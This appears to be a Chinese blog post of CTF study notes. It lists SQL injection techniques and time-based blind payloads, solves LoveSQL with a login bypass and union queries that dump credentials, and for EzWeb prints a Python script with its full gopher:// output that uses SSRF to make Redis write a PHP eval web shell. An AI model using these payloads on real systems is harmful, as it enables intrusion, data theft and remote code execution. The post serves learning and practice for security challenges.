被监督写博客-Day2

  1. 报错注入:一般是加单引号,看回显的error,看是哪里存在sql注入;
  2. 联合查询注入:一般是用order by去看有几个字段,还有union select;
  3. 布尔盲注:对于页面的回显只有TRUE和FALSEl两种,一般要通过回显来判断需要构造的语句;
  4. 时间注入:判断时间型注入时,只要让sleep()函数执行成功,就可以根据回显时间判断是否为时间型注入。几个判断时间注入的语句,一般用if语句,语句一为真则执行语句二,否则执行语句三

’ and if(1=0,1, sleep(10)) --+

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

题目一:
[极客大挑战 2019]LoveSQL
这道题之前做的时候看wp没看明白,这次重新做了一下,有了一些其他的理解。
首先是用万能密码登陆,
用户名:1’ or 1=1#
密码:123(随便)
得到回显
在这里插入图片描述
知道了用户名和密码
不过既然是sql注入的题目,那肯是还是要继续找注入点
按照正常的注入思路,先爆字段
在这里插入图片描述
有三个
用union查询注入点

check.php?username=1'%20union select 1,2,3%23&password=123

在这里插入图片描述

数据库名及版本

check.php?username=1'%20union select 1,database(),version()%23&password=123

爆表

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=123

爆数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=123

得到flag

题目二:
[GKCTF2020]EZ三剑客-EzWeb
通过这个题目复习了burpsuit的抓包以及跑字典
在源码处找到提示,在这里插入图片描述
访问一下,得到
在这里插入图片描述

用file协议读文件,file://被过滤,可以file:/,
在这里插入图片描述
读到关键代码
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在173.110.228.12这个IP得到提示
在这里插入图片描述
扫描到6379端口,是redis服务

import urllib.parse
protocol="gopher://"
ip="173.110.228.12"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]              #构造redis命令
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print(payload)

得到

gopher://173.110.228.12:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

不过payload之后并没有。。。。不懂了不懂了。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值